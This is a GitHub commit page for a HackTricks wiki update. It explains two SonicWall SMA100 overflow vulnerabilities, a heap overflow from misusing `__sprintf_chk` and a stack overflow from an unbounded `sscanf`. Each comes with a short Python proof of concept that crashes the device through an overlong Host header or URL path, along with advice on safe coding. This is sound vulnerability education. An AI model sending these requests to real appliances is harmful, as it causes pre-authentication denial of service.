Skip to content

Commit 926ffe0

Browse files
authored
Merge pull request #1209 from HackTricks-wiki/update_Stack_Overflows__Heap_Overflows_and_Existential_Dr_20250729_185151
Stack Overflows, Heap Overflows and Existential Dread SonicW...
2 parents f152fe4 + 6d46519 commit 926ffe0

File tree

2 files changed

+69
-0
lines changed

2 files changed

+69
-0
lines changed

src/binary-exploitation/libc-heap/heap-overflow.md

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -47,6 +47,42 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
4747
- We use an Integer Overflow vulnerability to get a Heap Overflow.
4848
- We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution.
4949

50+
### Real-World Example: CVE-2025-40597 – Misusing `__sprintf_chk`
51+
52+
In SonicWall SMA100 firmware 10.2.1.15 the reverse-proxy module `mod_httprp.so` allocates an **0x80-byte** heap chunk and then concatenates several strings into it with `__sprintf_chk`:
53+
54+
```c
55+
char *buf = calloc(0x80, 1);
56+
/**/
57+
__sprintf_chk(buf, /* destination (0x80-byte chunk) */
58+
-1, /* <-- size argument !!! */
59+
0, /* flags */
60+
"%s%s%s%s", /* format */
61+
"/", "https://", path, host);
62+
```
63+
64+
`__sprintf_chk` is part of **_FORTIFY_SOURCE**. When it receives a **positive** `size` parameter it verifies that the resulting string fits inside the destination buffer. By passing **`-1` (0xFFFFFFFFFFFFFFFF)** the developers effectively **disabled the bounds check**, turning the fortified call back into a classic, unsafe `sprintf`.
65+
66+
Supplying an overly long **`Host:`** header therefore lets an attacker **overflow the 0x80-byte chunk and clobber the metadata of the following heap chunk** (tcache / fast-bin / small-bin depending on the allocator). A crash can be reproduced with:
67+
68+
```python
69+
import requests, warnings
70+
warnings.filterwarnings('ignore')
71+
requests.get(
72+
'https://TARGET/__api__/',
73+
headers={'Host': 'A'*750},
74+
verify=False
75+
)
76+
```
77+
78+
Practical exploitation would require **heap grooming** to place a controllable object right after the vulnerable chunk, but the root cause highlights two important takeaways:
79+
80+
1. **_FORTIFY_SOURCE is not a silver bullet** – misuse can nullify the protection.
81+
2. Always pass the **correct buffer size** to the `_chk` family (or, even better, use `snprintf`).
82+
83+
## References
84+
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
85+
5086
{{#include ../../banners/hacktricks-training.md}}
5187

5288

src/binary-exploitation/stack-overflow/README.md

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -101,6 +101,39 @@ There are several protections trying to prevent the exploitation of vulnerabilit
101101
../common-binary-protections-and-bypasses/
102102
{{#endref}}
103103

104+
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
105+
106+
A good demonstration of why **`sscanf` should never be trusted for parsing untrusted input** appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance.
107+
The vulnerable routine inside `/usr/src/EasyAccess/bin/httpd` attempts to extract the version and endpoint from any URI that begins with `/__api__/`:
108+
109+
```c
110+
char version[3];
111+
char endpoint[0x800] = {0};
112+
/* simplified proto-type */
113+
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
114+
```
115+
116+
1. The first conversion (`%2s`) safely stores **two** bytes into `version` (e.g. `"v1"`).
117+
2. The second conversion (`%s`) **has no length specifier**, therefore `sscanf` will keep copying **until the first NUL byte**.
118+
3. Because `endpoint` is located on the **stack** and is **0x800 bytes long**, providing a path longer than 0x800 bytes corrupts everything that sits after the buffer ‑ including the **stack canary** and the **saved return address**.
119+
120+
A single-line proof-of-concept is enough to trigger the crash **before authentication**:
121+
122+
```python
123+
import requests, warnings
124+
warnings.filterwarnings('ignore')
125+
url = "https://TARGET/__api__/v1/" + "A"*3000
126+
requests.get(url, verify=False)
127+
```
128+
129+
Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). The lesson is simple:
130+
131+
* Always provide a **maximum field width** (e.g. `%511s`).
132+
* Prefer safer alternatives such as `snprintf`/`strncpy_s`.
133+
134+
## References
135+
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
136+
104137
{{#include ../../banners/hacktricks-training.md}}
105138

106139

0 commit comments

Comments
 (0)